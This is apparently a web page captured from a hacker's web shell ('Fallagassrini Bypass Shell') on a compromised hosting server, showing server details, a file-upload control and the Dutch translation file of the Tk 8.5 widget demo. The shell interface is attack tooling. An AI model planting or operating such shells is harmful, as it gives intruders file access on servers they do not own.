? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/tk8.5/demos/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : //usr/share/tk8.5/demos/nl.msg

::msgcat::mcset nl "Widget Demonstration" "Demonstratie van widgets"
::msgcat::mcset nl "tkWidgetDemo" "tkWidgetDemo"
::msgcat::mcset nl "&File"     "&Bestand"
::msgcat::mcset nl "About..."  "Info..."
::msgcat::mcset nl "&About..." "&Info..."
::msgcat::mcset nl "<F1>"      "<F1>"
::msgcat::mcset nl "&Quit"     "&Einde"
::msgcat::mcset nl "Meta+Q"    "Meta+E"		;# Displayed hotkey
::msgcat::mcset nl "Meta-q"    "Meta-e"		;# Actual binding sequence
::msgcat::mcset nl "Ctrl+Q"    "Ctrl+E"		;# Displayed hotkey
::msgcat::mcset nl "Control-q" "Control-e"	;# Actual binding sequence
::msgcat::mcset nl "Dismiss"   "Sluiten"
::msgcat::mcset nl "See Variables"    "Bekijk Variabelen"
::msgcat::mcset nl "Variable Values"  "Waarden Variabelen"
::msgcat::mcset nl "OK"        "OK"
::msgcat::mcset nl "Run the \"%s\" sample program" "Start voorbeeld \"%s\""
::msgcat::mcset nl "Print Code" "Code Afdrukken"
::msgcat::mcset nl "Demo code: %s" "Code van Demo %s"
::msgcat::mcset nl "About Widget Demo" "Over deze demonstratie"
::msgcat::mcset nl "Tk widget demonstration" "Demonstratie van Tk widgets"
::msgcat::mcset nl "Copyright (c) %s" "Copyright (c) %s"

::msgcat::mcset nl "Tk Widget Demonstrations" "Demostratie van Tk widgets"
::msgcat::mcset nl "This application provides a front end for several short scripts" \
    "Dit programma is een schil rond enkele korte scripts waarmee"
::msgcat::mcset nl "that demonstrate what you can do with Tk widgets.  Each of the" \
    "gedemonstreerd wordt wat je kunt doen met Tk widgets.  Elk van de"
::msgcat::mcset nl "numbered lines below describes a demonstration;  you can click on" \
    "genummerde regels hieronder omschrijft een demonstratie;  je kunt de"
::msgcat::mcset nl "it to invoke the demonstration.  Once the demonstration window" \
    "demonstratie starten door op de regel te klikken."
::msgcat::mcset nl "appears, you can click the" \
    "Zodra het nieuwe venster verschijnt, kun je op de knop"
::msgcat::mcset nl "See Code"  "Bekijk Code"	;# This is also button text!
::msgcat::mcset nl "button to see the Tcl/Tk code that created the demonstration.  If" \
    "drukken om de achterliggende Tcl/Tk code te zien.  Als je dat wilt,"
::msgcat::mcset nl "you wish, you can edit the code and click the" \
    "kun je de code wijzigen en op de knop"
::msgcat::mcset nl "Rerun Demo" "Herstart Demo"	;# This is also button text!
::msgcat::mcset nl "button in the code window to reinvoke the demonstration with the" \
    "drukken in het codevenster om de demonstratie uit te voeren met de"
::msgcat::mcset nl "modified code." \
    "nieuwe code."

::msgcat::mcset nl "Labels, buttons, checkbuttons, and radiobuttons" \
    "Labels, knoppen, vinkjes/aankruishokjes en radioknoppen"

::msgcat::mcset nl "Labels (text and bitmaps)" "Labels (tekst en plaatjes)"
::msgcat::mcset nl "Labels and UNICODE text"   "Labels en tekst in UNICODE"
::msgcat::mcset nl "Buttons" "Buttons (drukknoppen)"
::msgcat::mcset nl "Check-buttons (select any of a group)" \
    "Check-buttons (een of meer uit een groep)"
::msgcat::mcset nl "Radio-buttons (select one of a group)" \
    "Radio-buttons (een van een groep)"
::msgcat::mcset nl "A 15-puzzle game made out of buttons" \
    "Een schuifpuzzel van buttons"
::msgcat::mcset nl "Iconic buttons that use bitmaps" \
    "Buttons met pictogrammen"
::msgcat::mcset nl "Two labels displaying images" \
    "Twee labels met plaatjes in plaats van tekst"
::msgcat::mcset nl "A simple user interface for viewing images" \
    "Een eenvoudige user-interface voor het bekijken van plaatjes"
::msgcat::mcset nl "Labelled frames" \
    "Kaders met bijschrift"

::msgcat::mcset nl "Listboxes" "Keuzelijsten"
::msgcat::mcset nl "The 50 states" "De 50 staten van de VS"
::msgcat::mcset nl "Colors: change the color scheme for the application" \
         "Kleuren: verander het kleurenschema voor het programma"
::msgcat::mcset nl "A collection of famous and infamous sayings" \
         "Beroemde en beruchte citaten en gezegden"

::msgcat::mcset nl "Entries and Spin-boxes"     "Invulvelden en Spinboxen"
::msgcat::mcset nl "Entries without scrollbars" "Invulvelden zonder schuifbalk"
::msgcat::mcset nl "Entries with scrollbars"    "Invulvelden met schuifbalk"
::msgcat::mcset nl "Validated entries and password fields" \
         "Invulvelden met controle of wachtwoorden"
::msgcat::mcset nl "Spin-boxes" "Spinboxen"
::msgcat::mcset nl "Simple Rolodex-like form" "Simpel kaartsysteem"

::msgcat::mcset nl "Text" "Tekst"
::msgcat::mcset nl "Basic editable text" "Voorbeeld met te wijzigen tekst"
::msgcat::mcset nl "Text display styles" "Tekst met verschillende stijlen"
::msgcat::mcset nl "Hypertext (tag bindings)" \
    "Hypertext (verwijzingen via \"tags\")"
::msgcat::mcset nl "A text widget with embedded windows" \
    "Tekstwidget met windows erin"
::msgcat::mcset nl "A search tool built with a text widget" \
    "Zoeken in tekst met behulp van een tekstwidget"

::msgcat::mcset nl "Canvases" "Canvaswidgets"
::msgcat::mcset nl "The canvas item types"     "Objecten in een canvas"
::msgcat::mcset nl "A simple 2-D plot"         "Eenvoudige 2D-grafiek"
::msgcat::mcset nl "Text items in canvases"    "Tekstobjecten in een canvas"
::msgcat::mcset nl "An editor for arrowheads on canvas lines" \
    "Editor voor de vorm van de pijl (begin/eind van een lijn)"
::msgcat::mcset nl "A ruler with adjustable tab stops" \
    "Een meetlat met aanpasbare ruiters"
::msgcat::mcset nl "A building floor plan"     "Plattegrond van een gebouw"
::msgcat::mcset nl "A simple scrollable canvas" "Een schuifbaar canvas"

::msgcat::mcset nl "Scales" "Schaalverdelingen"
::msgcat::mcset nl "Horizontal scale"          "Horizontale schaal"
::msgcat::mcset nl "Vertical scale"          "Verticale schaal"

::msgcat::mcset nl "Paned Windows" "Vensters opgedeeld in stukken"
::msgcat::mcset nl "Horizontal paned window"   "Horizontaal gedeeld venster"
::msgcat::mcset nl "Vertical paned window"     "Verticaal gedeeld venster"

::msgcat::mcset nl "Menus" "Menu's"
::msgcat::mcset nl "Menus and cascades (sub-menus)" \
    "Menu's en cascades (submenu's)"
::msgcat::mcset nl "Menu-buttons" "Menu-buttons"

::msgcat::mcset nl "Common Dialogs" "Veel voorkomende dialoogvensters"
::msgcat::mcset nl "Message boxes"  "Mededeling (message box)"
::msgcat::mcset nl "File selection dialog"     "Selectie van bestanden"
::msgcat::mcset nl "Color picker"              "Kleurenpalet"

::msgcat::mcset nl "Miscellaneous"             "Diversen"
::msgcat::mcset nl "The built-in bitmaps"      "Ingebouwde plaatjes"
::msgcat::mcset nl "A dialog box with a local grab" \
    "Een dialoogvenster met een locale \"grab\""
::msgcat::mcset nl "A dialog box with a global grab" \
    "Een dialoogvenster met een globale \"grab\""

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net